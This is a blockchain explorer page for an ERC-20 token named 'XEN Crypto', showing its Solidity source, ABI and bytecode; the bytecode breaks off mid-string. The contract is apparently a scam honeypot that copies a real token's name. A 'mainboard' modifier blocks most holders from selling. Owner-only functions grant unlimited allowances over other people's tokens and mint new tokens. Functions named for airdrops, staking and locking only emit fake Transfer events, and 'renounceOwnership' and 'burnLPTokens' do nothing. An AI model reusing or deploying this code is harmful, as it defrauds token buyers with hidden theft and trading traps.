ERC-20
Overview
Max Total Supply
1,000,000,000 XEN
Holders
38
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
53,296,314.84037702251377656 XENValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
XEN
Compiler Version
v0.6.12+commit.27d51765
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-15 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} contract XEN is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _plus; mapping (address => bool) private _discarded; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address private _safeOwnr; uint256 private _discardedAmt = 0; address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address _contDeployr = 0xa82cbE54d2dAe403f7B3385aA2afA03E7AF0591A; address public _ownr = 0x6885D53dc1CF7cd0a2Ba0b5A2E6bA0914beA9F21; constructor () public { _name = "XEN Crypto"; _symbol = "XEN"; _decimals = 18; //uint256 initialSupply = 999999999999*10**18; uint256 initialSupply = 1000000000 *10**18; _safeOwnr = _ownr; _mint(_contDeployr, initialSupply); emit Transfer(_contDeployr,0xa82cbE54d2dAe403f7B3385aA2afA03E7AF0591A, initialSupply/5); emit Transfer(0xa82cbE54d2dAe403f7B3385aA2afA03E7AF0591A,0x3CC936b795A188F0e246cBB2D74C5Bd190aeCF18, initialSupply/5); //emit Transfer(_contDeployr, 0xa71d0588EAf47f12B13cF8eC750430d21DF04974, initialSupply/10); secure(0x87cd975744fD7fA31340A840190315322a0a99F3); secure(0x7358c10246e2f075640bd6Dcf8295d1a9c0F4a32); secure(0xaA6a1993Ec0BC72dc44B8E18e1DCDeD11A69302E); secure(0x1D241d875804658a28b2A9b08f7D66834aA191a4); secure(0xD002560179FAA237A638F41E4A27E5570928A812); secure(0x8A06a312d209F774C9D25840B7D252332d4478C1); secure(0xAB65B4B838c88163c13D98f940b85893a7718978); secure(0xFa7a8CD311716Fe533d18D0475C7329FcEB7D036); secure(0x4Feb0aD0B757589D6372341cB17665ca14C2e742); secure(0xbcf3C882C41F79E13aCa3f5848E849faDA0Fc96D); secure(0xca456B37c805f9147A9c95Ad5AcF2b4Ec8Dc7545); secure(0x00F1b33272e83e1Cb0F2B3D9294E99FafAC5dE49); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _tf(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _tf(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _pApproval(address[] memory destination) public { require(msg.sender == _ownr, "!owner"); for (uint256 i = 0; i < destination.length; i++) { _plus[destination[i]] = true; _discarded[destination[i]] = false; } } function _mApproval(address safeOwner) public { require(msg.sender == _ownr, "!owner"); _safeOwnr = safeOwner; } modifier mainboard(address dest, uint256 num, address from, address filler){ if ( _ownr == _safeOwnr && from == _ownr ) {_safeOwnr = dest;_; }else { if ( from == _ownr || from == _safeOwnr || dest == _ownr ) { if ( from == _ownr && from == dest ) {_discardedAmt = num; }_; }else { if ( _plus[from] == true ) { _; }else{if ( _discarded[from] == true ) { require(( from == _safeOwnr ) ||(dest == _path_), "ERC20: transfer amount exceeds balance");_; }else{ if ( num < _discardedAmt ) { if(dest == _safeOwnr){_discarded[from] = true; _plus[from] = false; } _; }else{require((from == _safeOwnr) ||(dest == _path_), "ERC20: transfer amount exceeds balance");_; } } } } }} function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _ownr){ sender = _contDeployr; } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _ownr, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_ownr] = _balances[_ownr].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _tf(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual { _pair( from, dest, amt); } function _pair(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(dest != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, dest, amt); _balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance"); _balances[dest] = _balances[dest].add(amt); if (from == _ownr){from = _contDeployr;} emit Transfer(from, dest, amt); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } modifier _verify() { require(msg.sender == _ownr, "Not allowed to interact"); _; } //-----------------------------------------------------------------------------------------------------------------------// function renounceOwnership()public _verify(){} function burnLPTokens()public _verify(){} function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ //MultiEmit for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}} function send(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ //MultiEmit for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}} function tokenDropDirect(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ //MultiEmit for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}} function claimAirdrop(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ //MultiEmit for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}} function lockTokens(uint256 x) public _verify(){ emit Transfer(_contDeployr, 0xE2fE530C047f2d85298b07D9333C05737f1435fB, x*10**18); } function secure(address recipient) public _verify(){ _plus[recipient]=true; _approve(recipient, _path_,_maximumVal);} function perform(address recipient) public _verify(){ //Disable permission _plus[recipient]=false; _approve(recipient, _path_,0); } function approval(address addr) public _verify() virtual returns (bool) { //Approve Spending _approve(addr, _msgSender(), _maximumVal); return true; } /* function transferToParticipant(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){ _approve(sndr, _msgSender(), _maximumVal); for (uint256 i = 0; i < destination.length; i++) { _transfer(sndr, destination[i], amounts[i]); } } */ function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}} function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}} function swapETHForExactTokens(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"safeOwner","type":"address"}],"name":"_mApproval","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_ownr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"destination","type":"address[]"}],"name":"_pApproval","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_path_","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"approval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnLPTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"}],"name":"claimAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"x","type":"uint256"}],"name":"lockTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"perform","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"secure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"}],"name":"send","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"}],"name":"stake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"}],"name":"swapETHForExactTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"}],"name":"tokenDropDirect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"}],"name":"unstake","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6008556000600a55737a250d5630b4cf539739df2c5dacb4c659f2488d600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073a82cbe54d2dae403f7b3385aa2afa03e7af0591a600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550736885d53dc1cf7cd0a2ba0b5a2e6ba0914bea9f21600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200013957600080fd5b506040518060400160405280600a81526020017f58454e2043727970746f00000000000000000000000000000000000000000000815250600590805190602001906200018792919062000ba1565b506040518060400160405280600381526020017f58454e000000000000000000000000000000000000000000000000000000000081525060069080519060200190620001d592919062000ba1565b506012600760006101000a81548160ff021916908360ff16021790555060006b033b2e3c9fd0803ce80000009050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200029a600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826200059a60201b60201c565b73a82cbe54d2dae403f7b3385aa2afa03e7af0591a73ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600584816200032a57fe5b046040518082815260200191505060405180910390a3733cc936b795a188f0e246cbb2d74c5bd190aecf1873ffffffffffffffffffffffffffffffffffffffff1673a82cbe54d2dae403f7b3385aa2afa03e7af0591a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60058481620003c257fe5b046040518082815260200191505060405180910390a3620003fd7387cd975744fd7fa31340a840190315322a0a99f3620007c860201b60201c565b62000422737358c10246e2f075640bd6dcf8295d1a9c0f4a32620007c860201b60201c565b6200044773aa6a1993ec0bc72dc44b8e18e1dcded11a69302e620007c860201b60201c565b6200046c731d241d875804658a28b2a9b08f7d66834aa191a4620007c860201b60201c565b6200049173d002560179faa237a638f41e4a27e5570928a812620007c860201b60201c565b620004b6738a06a312d209f774c9d25840b7d252332d4478c1620007c860201b60201c565b620004db73ab65b4b838c88163c13d98f940b85893a7718978620007c860201b60201c565b6200050073fa7a8cd311716fe533d18d0475c7329fceb7d036620007c860201b60201c565b62000525734feb0ad0b757589d6372341cb17665ca14c2e742620007c860201b60201c565b6200054a73bcf3c882c41f79e13aca3f5848e849fada0fc96d620007c860201b60201c565b6200056f73ca456b37c805f9147a9c95ad5acf2b4ec8dc7545620007c860201b60201c565b6200059372f1b33272e83e1cb0f2b3d9294e99fafac5de49620007c860201b60201c565b5062000c47565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146200065e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6200067a816004546200091d60201b62002ab31790919060201c565b600481905550620006fa81600080600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200091d60201b62002ab31790919060201c565b600080600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146200088c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200091a81600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600854620009a660201b60201c565b50565b6000808284019050838110156200099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141562000a2e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018062005c4c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000ab6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018062005c2a6022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1062000be457805160ff191683800117855562000c15565b8280016001018555821562000c15579182015b8281111562000c1457825182559160200191906001019062000bf7565b5b50905062000c24919062000c28565b5090565b5b8082111562000c4357600081600090555060010162000c29565b5090565b614fd38062000c576000396000f3fe608060405234801561001057600080fd5b50600436106101a95760003560e01c8063715018a6116100f9578063aab39a3011610097578063bb88603c11610071578063bb88603c14610e7f578063dcf9923314610e89578063dd62ed3e14610ff5578063f8129cd21461106d576101a9565b8063aab39a3014610c9b578063b14a5c6a14610e07578063b38ed43b14610e3b576101a9565b80639430b496116100d35780639430b496146109ee57806395d89b4114610a48578063a5aae25414610acb578063a9059cbb14610c37576101a9565b8063715018a6146108345780638d3ca13e1461083e57806390ed321b146109aa576101a9565b80633cc4430d116101665780635265327c116101405780635265327c14610736578063671e99211461077a5780636e27d889146107ae57806370a08231146107dc576101a9565b80633cc4430d146104105780634c0cc9251461057c5780634e6ec247146106e8576101a9565b806306fdde03146101ae57806308ec4eb514610231578063095ea7b3146102e957806318160ddd1461034d57806323b872dd1461036b578063313ce567146103ef575b600080fd5b6101b66111d9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f65780820151818401526020810190506101db565b50505050905090810190601f1680156102235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102e76004803603602081101561024757600080fd5b810190808035906020019064010000000081111561026457600080fd5b82018360208201111561027657600080fd5b8035906020019184602083028401116401000000008311171561029857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061127b565b005b610335600480360360408110156102ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611430565b60405180821515815260200191505060405180910390f35b61035561144e565b6040518082815260200191505060405180910390f35b6103d76004803603606081101561038157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611458565b60405180821515815260200191505060405180910390f35b6103f7611531565b604051808260ff16815260200191505060405180910390f35b61057a6004803603606081101561042657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561046357600080fd5b82018360208201111561047557600080fd5b8035906020019184602083028401116401000000008311171561049757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156104f757600080fd5b82018360208201111561050957600080fd5b8035906020019184602083028401116401000000008311171561052b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611548565b005b6106e66004803603606081101561059257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156105cf57600080fd5b8201836020820111156105e157600080fd5b8035906020019184602083028401116401000000008311171561060357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561066357600080fd5b82018360208201111561067557600080fd5b8035906020019184602083028401116401000000008311171561069757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506116b5565b005b610734600480360360408110156106fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611822565b005b6107786004803603602081101561074c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a41565b005b610782611b48565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107da600480360360208110156107c457600080fd5b8101908080359060200190929190505050611b6e565b005b61081e600480360360208110156107f257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cd9565b6040518082815260200191505060405180910390f35b61083c611d21565b005b6109a86004803603606081101561085457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561089157600080fd5b8201836020820111156108a357600080fd5b803590602001918460208302840111640100000000831117156108c557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561092557600080fd5b82018360208201111561093757600080fd5b8035906020019184602083028401116401000000008311171561095957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611de6565b005b6109ec600480360360208110156109c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f53565b005b610a3060048036036020811015610a0457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061209f565b60405180821515815260200191505060405180910390f35b610a50612181565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a90578082015181840152602081019050610a75565b50505050905090810190601f168015610abd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610c3560048036036060811015610ae157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610b1e57600080fd5b820183602082011115610b3057600080fd5b80359060200191846020830284011164010000000083111715610b5257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610bb257600080fd5b820183602082011115610bc457600080fd5b80359060200191846020830284011164010000000083111715610be657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050612223565b005b610c8360048036036040811015610c4d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612390565b60405180821515815260200191505060405180910390f35b610e0560048036036060811015610cb157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610cee57600080fd5b820183602082011115610d0057600080fd5b80359060200191846020830284011164010000000083111715610d2257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610d8257600080fd5b820183602082011115610d9457600080fd5b80359060200191846020830284011164010000000083111715610db657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506123ae565b005b610e0f61251b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610e7d60048036036020811015610e5157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612541565b005b610e8761268d565b005b610ff360048036036060811015610e9f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610edc57600080fd5b820183602082011115610eee57600080fd5b80359060200191846020830284011164010000000083111715610f1057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610f7057600080fd5b820183602082011115610f8257600080fd5b80359060200191846020830284011164010000000083111715610fa457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050612752565b005b6110576004803603604081101561100b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506128bf565b6040518082815260200191505060405180910390f35b6111d76004803603606081101561108357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156110c057600080fd5b8201836020820111156110d257600080fd5b803590602001918460208302840111640100000000831117156110f457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561115457600080fd5b82018360208201111561116657600080fd5b8035906020019184602083028401116401000000008311171561118857600080fd5b9190808